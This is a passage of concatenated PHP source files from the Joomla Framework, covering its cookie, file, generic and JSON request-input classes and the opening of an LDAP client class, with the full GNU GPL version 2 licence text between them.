	public function __construct($source = null, array $options = array())
	{
		if (isset($options['filter']))
		{
			$this->filter = $options['filter'];
		}
		else
		{
			$this->filter = new Filter\InputFilter;
		}

		// Set the data source.
		$this->data = & $_COOKIE;

		// Set the options for the class.
		$this->options = $options;
	}

	/**
	 * Sets a value
	 *
	 * @param   string   $name      Name of the value to set.
	 * @param   mixed    $value     Value to assign to the input.
	 * @param   array    $options   An associative array which may have any of
the keys expires, path, domain,
	 *                              secure, httponly and samesite. The values
have the same meaning as described
	 *                              for the parameters with the same name. The
value of the samesite element
	 *                              should be either Lax or Strict. If any of
the allowed options are not given,
	 *                              their default values are the same as the
default values of the explicit
	 *                              parameters. If the samesite element is
omitted, no SameSite cookie attribute
	 *                              is set.
	 *
	 * @return  void
	 *
	 * @link    https://www.ietf.org/rfc/rfc2109.txt
	 * @link    https://php.net/manual/en/function.setcookie.php
	 *
	 * @since   1.0
	 *
	 * @note    As of 1.4.0, the (name, value, expire, path, domain, secure,
httpOnly) signature is deprecated and will not be supported
	 *          when support for PHP 7.2 and earlier is dropped
	 */
	public function set($name, $value, $options = array())
	{
		// BC layer to convert old method parameters.
		if (is_array($options) === false)
		{
			$argList = func_get_args();

			$options = array(
				'expires'  => isset($argList[2]) === true ? $argList[2] :
0,
				'path'     => isset($argList[3]) === true ? $argList[3] :
'',
				'domain'   => isset($argList[4]) === true ? $argList[4] :
'',
				'secure'   => isset($argList[5]) === true ? $argList[5] :
false,
				'httponly' => isset($argList[6]) === true ? $argList[6] :
false,
			);
		}

		// Set the cookie
		if (version_compare(PHP_VERSION, '7.3', '>='))
		{
			setcookie($name, $value, $options);
		}
		else
		{
			// Using the setcookie function before php 7.3, make sure we have
default values.
			if (array_key_exists('expires', $options) === false)
			{
				$options['expires'] = 0;
			}

			if (array_key_exists('path', $options) === false)
			{
				$options['path'] = '';
			}

			if (array_key_exists('domain', $options) === false)
			{
				$options['domain'] = '';
			}

			if (array_key_exists('secure', $options) === false)
			{
				$options['secure'] = false;
			}

			if (array_key_exists('httponly', $options) === false)
			{
				$options['httponly'] = false;
			}

			setcookie($name, $value, $options['expires'],
$options['path'], $options['domain'],
$options['secure'], $options['httponly']);
		}

		$this->data[$name] = $value;
	}
}
<?php
/**
 * Part of the Joomla Framework Input Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Input;

use Joomla\Filter;

/**
 * Joomla! Input Files Class
 *
 * @since  1.0
 */
class Files extends Input
{
	/**
	 * The pivoted data from a $_FILES or compatible array.
	 *
	 * @var    array
	 * @since  1.0
	 */
	protected $decodedData = array();

	/**
	 * The class constructor.
	 *
	 * @param   array  $source   The source argument is ignored. $_FILES is
always used.
	 * @param   array  $options  An optional array of configuration options:
	 *                           filter : a custom JFilterInput object.
	 *
	 * @since   1.0
	 */
	public function __construct($source = null, array $options = array())
	{
		if (isset($options['filter']))
		{
			$this->filter = $options['filter'];
		}
		else
		{
			$this->filter = new Filter\InputFilter;
		}

		// Set the data source.
		$this->data = & $_FILES;

		// Set the options for the class.
		$this->options = $options;
	}

	/**
	 * Gets a value from the input data.
	 *
	 * @param   string  $name     The name of the input property (usually the
name of the files INPUT tag) to get.
	 * @param   mixed   $default  The default value to return if the named
property does not exist.
	 * @param   string  $filter   The filter to apply to the value.
	 *
	 * @return  mixed  The filtered input value.
	 *
	 * @see     \Joomla\Filter\InputFilter::clean()
	 * @since   1.0
	 */
	public function get($name, $default = null, $filter = 'cmd')
	{
		if (isset($this->data[$name]))
		{
			$results = $this->decodeData(
				array(
					$this->data[$name]['name'],
					$this->data[$name]['type'],
					$this->data[$name]['tmp_name'],
					$this->data[$name]['error'],
					$this->data[$name]['size'],
				)
			);

			return $results;
		}

		return $default;
	}

	/**
	 * Method to decode a data array.
	 *
	 * @param   array  $data  The data array to decode.
	 *
	 * @return  array
	 *
	 * @since   1.0
	 */
	protected function decodeData(array $data)
	{
		$result = array();

		if (\is_array($data[0]))
		{
			foreach ($data[0] as $k => $v)
			{
				$result[$k] = $this->decodeData(array($data[0][$k], $data[1][$k],
$data[2][$k], $data[3][$k], $data[4][$k]));
			}

			return $result;
		}

		return array('name' => $data[0], 'type' =>
$data[1], 'tmp_name' => $data[2], 'error' =>
$data[3], 'size' => $data[4]);
	}

	/**
	 * Sets a value.
	 *
	 * @param   string  $name   The name of the input property to set.
	 * @param   mixed   $value  The value to assign to the input property.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function set($name, $value)
	{
		// Restricts the usage of parent's set method.
	}
}
<?php
/**
 * Part of the Joomla Framework Input Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Input;

use Joomla\Filter;

/**
 * Joomla! Input Base Class
 *
 * This is an abstracted input class used to manage retrieving data from
the application environment.
 *
 * @since  1.0
 *
 * @property-read    Input   $get
 * @property-read    Input   $post
 * @property-read    Input   $request
 * @property-read    Input   $server
 * @property-read    Input   $env
 * @property-read    Files   $files
 * @property-read    Cookie  $cookie
 *
 * @method      integer  getInt($name, $default = null)       Get a signed
integer.
 * @method      integer  getUint($name, $default = null)      Get an
unsigned integer.
 * @method      float    getFloat($name, $default = null)     Get a
floating-point number.
 * @method      boolean  getBool($name, $default = null)      Get a boolean
value.
 * @method      string   getWord($name, $default = null)      Get a word.
 * @method      string   getAlnum($name, $default = null)     Get an
alphanumeric string.
 * @method      string   getCmd($name, $default = null)       Get a CMD
filtered string.
 * @method      string   getBase64($name, $default = null)    Get a base64
encoded string.
 * @method      string   getString($name, $default = null)    Get a string.
 * @method      string   getHtml($name, $default = null)      Get a HTML
string.
 * @method      string   getPath($name, $default = null)      Get a file
path.
 * @method      string   getUsername($name, $default = null)  Get a
username.
 */
class Input implements \Serializable, \Countable
{
	/**
	 * Container with allowed superglobals
	 *
	 * @var    array
	 * @since  1.3.0
	 * @note   Once PHP 7.1 is the minimum supported version this should
become a private constant
	 */
	private static $allowedGlobals = array('REQUEST',
'GET', 'POST', 'FILES', 'SERVER',
'ENV');

	/**
	 * Options array for the Input instance.
	 *
	 * @var    array
	 * @since  1.0
	 */
	protected $options = array();

	/**
	 * Filter object to use.
	 *
	 * @var    Filter\InputFilter
	 * @since  1.0
	 */
	protected $filter;

	/**
	 * Input data.
	 *
	 * @var    array
	 * @since  1.0
	 */
	protected $data = array();

	/**
	 * Input objects
	 *
	 * @var    Input[]
	 * @since  1.0
	 */
	protected $inputs = array();

	/**
	 * Is all GLOBAL added
	 *
	 * @var    boolean
	 * @since  1.1.4
	 */
	protected static $loaded = false;

	/**
	 * Constructor.
	 *
	 * @param   array  $source   Optional source data. If omitted, a copy of
the server variable '_REQUEST' is used.
	 * @param   array  $options  An optional associative array of
configuration parameters:
	 *                           filter: An instance of Filter\Input. If
omitted, a default filter is initialised.
	 *
	 * @since   1.0
	 */
	public function __construct($source = null, array $options = array())
	{
		if (isset($options['filter']))
		{
			$this->filter = $options['filter'];
		}
		else
		{
			$this->filter = new Filter\InputFilter;
		}

		if ($source === null)
		{
			$this->data = &$_REQUEST;
		}
		else
		{
			$this->data = $source;
		}

		// Set the options for the class.
		$this->options = $options;
	}

	/**
	 * Magic method to get an input object
	 *
	 * @param   mixed  $name  Name of the input object to retrieve.
	 *
	 * @return  Input  The request input object
	 *
	 * @since   1.0
	 */
	public function __get($name)
	{
		if (isset($this->inputs[$name]))
		{
			return $this->inputs[$name];
		}

		$className = '\\Joomla\\Input\\' . ucfirst($name);

		if (class_exists($className))
		{
			$this->inputs[$name] = new $className(null, $this->options);

			return $this->inputs[$name];
		}

		$superGlobal = '_' . strtoupper($name);

		if (\in_array(strtoupper($name), self::$allowedGlobals, true) &&
isset($GLOBALS[$superGlobal]))
		{
			$this->inputs[$name] = new Input($GLOBALS[$superGlobal],
$this->options);

			return $this->inputs[$name];
		}

		// TODO throw an exception
	}

	/**
	 * Get the number of variables.
	 *
	 * @return  integer  The number of variables in the input.
	 *
	 * @since   1.0
	 * @see     Countable::count()
	 */
	public function count()
	{
		return \count($this->data);
	}

	/**
	 * Gets a value from the input data.
	 *
	 * @param   string  $name     Name of the value to get.
	 * @param   mixed   $default  Default value to return if variable does not
exist.
	 * @param   string  $filter   Filter to apply to the value.
	 *
	 * @return  mixed  The filtered input value.
	 *
	 * @see     \Joomla\Filter\InputFilter::clean()
	 * @since   1.0
	 */
	public function get($name, $default = null, $filter = 'cmd')
	{
		if (isset($this->data[$name]))
		{
			return $this->filter->clean($this->data[$name], $filter);
		}

		return $default;
	}

	/**
	 * Gets an array of values from the request.
	 *
	 * @param   array  $vars        Associative array of keys and filter types
to apply.
	 *                              If empty and datasource is null, all the
input data will be returned
	 *                              but filtered using the default case in
JFilterInput::clean.
	 * @param   mixed  $datasource  Array to retrieve data from, or null
	 *
	 * @return  mixed  The filtered input data.
	 *
	 * @since   1.0
	 */
	public function getArray(array $vars = array(), $datasource = null)
	{
		if (empty($vars) && $datasource === null)
		{
			$vars = $this->data;
		}

		$results = array();

		foreach ($vars as $k => $v)
		{
			if (\is_array($v))
			{
				if ($datasource === null)
				{
					$results[$k] = $this->getArray($v, $this->get($k, null,
'array'));
				}
				else
				{
					$results[$k] = $this->getArray($v, $datasource[$k]);
				}
			}
			else
			{
				if ($datasource === null)
				{
					$results[$k] = $this->get($k, null, $v);
				}
				elseif (isset($datasource[$k]))
				{
					$results[$k] = $this->filter->clean($datasource[$k], $v);
				}
				else
				{
					$results[$k] = $this->filter->clean(null, $v);
				}
			}
		}

		return $results;
	}

	/**
	 * Get the Input instance holding the data for the current request method
	 *
	 * @return  Input
	 *
	 * @since   1.3.0
	 */
	public function getInputForRequestMethod()
	{
		switch (strtoupper($this->getMethod()))
		{
			case 'GET':
				return $this->get;

			case 'POST':
				return $this->post;

			default:
				// PUT, PATCH, etc. don't have superglobals
				return $this;
		}
	}

	/**
	 * Sets a value
	 *
	 * @param   string  $name   Name of the value to set.
	 * @param   mixed   $value  Value to assign to the input.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function set($name, $value)
	{
		$this->data[$name] = $value;
	}

	/**
	 * Define a value. The value will only be set if there's no value for
the name or if it is null.
	 *
	 * @param   string  $name   Name of the value to define.
	 * @param   mixed   $value  Value to assign to the input.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function def($name, $value)
	{
		if (isset($this->data[$name]))
		{
			return;
		}

		$this->data[$name] = $value;
	}

	/**
	 * Check if a value name exists.
	 *
	 * @param   string  $name  Value name
	 *
	 * @return  boolean
	 *
	 * @since   1.2.0
	 */
	public function exists($name)
	{
		return isset($this->data[$name]);
	}

	/**
	 * Magic method to get filtered input data.
	 *
	 * @param   string  $name       Name of the filter type prefixed with
'get'.
	 * @param   array   $arguments  [0] The name of the variable [1] The
default value.
	 *
	 * @return  mixed   The filtered input value.
	 *
	 * @since   1.0
	 */
	public function __call($name, $arguments)
	{
		if (substr($name, 0, 3) == 'get')
		{
			$filter = substr($name, 3);

			$default = null;

			if (isset($arguments[1]))
			{
				$default = $arguments[1];
			}

			return $this->get($arguments[0], $default, $filter);
		}
	}

	/**
	 * Gets the request method.
	 *
	 * @return  string   The request method.
	 *
	 * @since   1.0
	 */
	public function getMethod()
	{
		$method = strtoupper($_SERVER['REQUEST_METHOD']);

		return $method;
	}

	/**
	 * Method to serialize the input.
	 *
	 * @return  string  The serialized input.
	 *
	 * @since   1.0
	 */
	public function serialize()
	{
		// Load all of the inputs.
		$this->loadAllInputs();

		// Remove $_ENV and $_SERVER from the inputs.
		$inputs = $this->inputs;
		unset($inputs['env'], $inputs['server']);

		// Serialize the options, data, and inputs.
		return serialize(array($this->options, $this->data, $inputs));
	}

	/**
	 * Method to unserialize the input.
	 *
	 * @param   string  $input  The serialized input.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function unserialize($input)
	{
		// Unserialize the options, data, and inputs.
		list($this->options, $this->data, $this->inputs) =
unserialize($input);

		// Load the filter.
		if (isset($this->options['filter']))
		{
			$this->filter = $this->options['filter'];
		}
		else
		{
			$this->filter = new Filter\InputFilter;
		}
	}

	/**
	 * Method to load all of the global inputs.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	protected function loadAllInputs()
	{
		if (!self::$loaded)
		{
			// Load up all the globals.
			foreach ($GLOBALS as $global => $data)
			{
				// Check if the global starts with an underscore and is allowed.
				if (strpos($global, '_') === 0 &&
\in_array(substr($global, 1), self::$allowedGlobals, true))
				{
					// Convert global name to input name.
					$global = strtolower($global);
					$global = substr($global, 1);

					// Get the input.
					$this->$global;
				}
			}

			self::$loaded = true;
		}
	}
}
<?php
/**
 * Part of the Joomla Framework Input Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Input;

use Joomla\Filter;

/**
 * Joomla! Input JSON Class
 *
 * This class decodes a JSON string from the raw request data and makes it
available via
 * the standard Input interface.
 *
 * @since  1.0
 */
class Json extends Input
{
	/**
	 * @var    string  The raw JSON string from the request.
	 * @since  1.0
	 */
	private $raw;

	/**
	 * Constructor.
	 *
	 * @param   array  $source   Source data (Optional, default is the raw
HTTP input decoded from JSON)
	 * @param   array  $options  Array of configuration parameters (Optional)
	 *
	 * @since   1.0
	 */
	public function __construct($source = null, array $options = array())
	{
		if (isset($options['filter']))
		{
			$this->filter = $options['filter'];
		}
		else
		{
			$this->filter = new Filter\InputFilter;
		}

		if ($source === null)
		{
			$this->raw = file_get_contents('php://input');

			// This is a workaround for where php://input has already been read.
			// See note under php://input on
https://www.php.net/manual/en/wrappers.php.php
			if (empty($this->raw) &&
isset($GLOBALS['HTTP_RAW_POST_DATA']))
			{
				$this->raw = $GLOBALS['HTTP_RAW_POST_DATA'];
			}

			$this->data = json_decode($this->raw, true);

			if (!\is_array($this->data))
			{
				$this->data = array();
			}
		}
		else
		{
			$this->data = $source;
		}

		// Set the options for the class.
		$this->options = $options;
	}

	/**
	 * Gets the raw JSON string from the request.
	 *
	 * @return  string  The raw JSON string from the request.
	 *
	 * @since   1.0
	 */
	public function getRaw()
	{
		return $this->raw;
	}
}
GNU GENERAL PUBLIC LICENSE
				Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

				Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.

  The precise terms and conditions for copying, distribution and
modification follow.

			GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as
"you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

	a) You must cause the modified files to carry prominent notices
	stating that you changed the files and the date of any change.

	b) You must cause any work that you distribute or publish, that in
	whole or in part contains or is derived from the Program or any
	part thereof, to be licensed as a whole at no charge to all third
	parties under the terms of this License.

	c) If the modified program normally reads commands interactively
	when run, you must cause it, when started running for such
	interactive use in the most ordinary way, to print or display an
	announcement including an appropriate copyright notice and a
	notice that there is no warranty (or else, saying that you provide
	a warranty) and that users may redistribute the program under
	these conditions, and telling the user how to view a copy of this
	License.  (Exception: if the Program itself is interactive but
	does not normally print such an announcement, your work based on
	the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

	a) Accompany it with the complete corresponding machine-readable
	source code, which must be distributed under the terms of Sections
	1 and 2 above on a medium customarily used for software interchange; or,

	b) Accompany it with a written offer, valid for at least three
	years, to give any third party, for a charge no more than your
	cost of physically performing source distribution, a complete
	machine-readable copy of the corresponding source code, to be
	distributed under the terms of Sections 1 and 2 above on a medium
	customarily used for software interchange; or,

	c) Accompany it with the information you received as to the offer
	to distribute corresponding source code.  (This alternative is
	allowed only for noncommercial distribution and only if you
	received the program in object code or executable form with such
	an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

				NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

			 END OF TERMS AND CONDITIONS

		How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.

	<one line to give the program's name and a brief idea of what it
does.>
	Copyright (C) <year>  <name of author>

	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation; either version 2 of the License, or
	(at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA


Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

	Gnomovision version 69, Copyright (C) year name of author
	Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
	This is free software, and you are welcome to redistribute it
	under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James
Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.
<?php
/**
 * Part of the Joomla Framework LDAP Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Ldap;

/**
 * LDAP client class
 *
 * @since       1.0
 * @deprecated  The joomla/ldap package is deprecated
 */
class LdapClient
{
	/**
	 * Hostname of LDAP server
	 *
	 * @var    string
	 * @since  1.0
	 */
	public $host;

	/**
	 * Authorization Method to use
	 *
	 * @var    boolean
	 * @since  1.0
	 */
	public $auth_method;

	/**
	 * Port of LDAP server
	 *
	 * @var    integer
	 * @since  1.0
	 */
	public $port;

	/**
	 * Base DN (e.g. o=MyDir)
	 *
	 * @var    string
	 * @since  1.0
	 */
	public $base_dn;

	/**
	 * User DN (e.g. cn=Users,o=MyDir)
	 *
	 * @var    string
	 * @since  1.0
	 */
	public $users_dn;

	/**
	 * Search String
	 *
	 * @var    string
	 * @since  1.0
	 */
	public $search_string;

	/**
	 * Use LDAP Version 3
	 *
	 * @var    boolean
	 * @since  1.0
	 */
	public $use_ldapV3;

	/**
	 * No referrals (server transfers)
	 *
	 * @var    boolean
	 * @since  1.0
	 */
	public $no_referrals;

	/**
	 * Negotiate TLS (encrypted communications)
	 *
	 * @var    boolean
	 * @since  1.0
	 */
	public $negotiate_tls;

	/**
	 * Ignore TLS Certificate (encrypted communications)
	 *
	 * @var    boolean
	 * @since  1.5.0
	 */
	public $ignore_reqcert_tls;

	/**
	 * Enable LDAP debug
	 *
	 * @var    boolean
	 * @since  1.5.0
	 */
	public $ldap_debug;

	/**
	 * Username to connect to server
	 *
	 * @var    string
	 * @since  1.0
	 */
	public $username;

	/**
	 * Password to connect to server
	 *
	 * @var    string
	 * @since  1.0
	 */
	public $password;

	/**
	 * LDAP Resource Identifier
	 *
	 * @var    resource
	 * @since  1.0
	 */
	private $resource;

	/**
	 * Current DN
	 *
	 * @var    string
	 * @since  1.0
	 */
	private $dn;

	/**
	 * Flag tracking whether the connection has been bound
	 *
	 * @var    boolean
	 * @since  1.3.0
	 */
	private $isBound = false;

	/**
	 * Constructor
	 *
	 * @param   object  $configObj  An object of configuration variables
	 *
	 * @since   1.0
	 */
	public function __construct($configObj = null)
	{
		if (\is_object($configObj))
		{
			$vars = get_class_vars(\get_class($this));

			foreach (array_keys($vars) as $var)
			{
				if (substr($var, 0, 1) != '_')
				{
					$param = $configObj->get($var);

					if ($param)
					{
						$this->$var = $param;
					}
				}
			}
		}
	}

	/**
	 * Class destructor.
	 *
	 * @since   1.3.0
	 */
	public function __destruct()
	{
		$this->close();
	}

	/**
	 * Connect to an LDAP server
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 */
	public function connect()
	{
		if ($this->host == '')
		{
			return false;
		}

		if ($this->ignore_reqcert_tls)
		{
			putenv('LDAPTLS_REQCERT=never');
		}

		if ($this->ldap_debug)
		{
			ldap_set_option(null, LDAP_OPT_DEBUG_LEVEL, 7);
		}

		$this->resource = ldap_connect($this->host, $this->port);

		if (!$this->resource)
		{
			return false;
		}

		if ($this->use_ldapV3 && !ldap_set_option($this->resource,
LDAP_OPT_PROTOCOL_VERSION, 3))
		{
			return false;
		}

		if (!ldap_set_option($this->resource, LDAP_OPT_REFERRALS, (int)
$this->no_referrals))
		{
			return false;
		}

		if ($this->negotiate_tls &&
!ldap_start_tls($this->resource))
		{
			return false;
		}

		return true;
	}

	/**
	 * Close the connection
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function close()
	{
		if ($this->isConnected())
		{
			$this->unbind();
		}

		$this->resource = null;
	}

	/**
	 * Sets the DN with some template replacements
	 *
	 * @param   string  $username  The username
	 * @param   string  $nosub     ...
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function setDn($username, $nosub = 0)
	{
		if ($this->users_dn == '' || $nosub)
		{
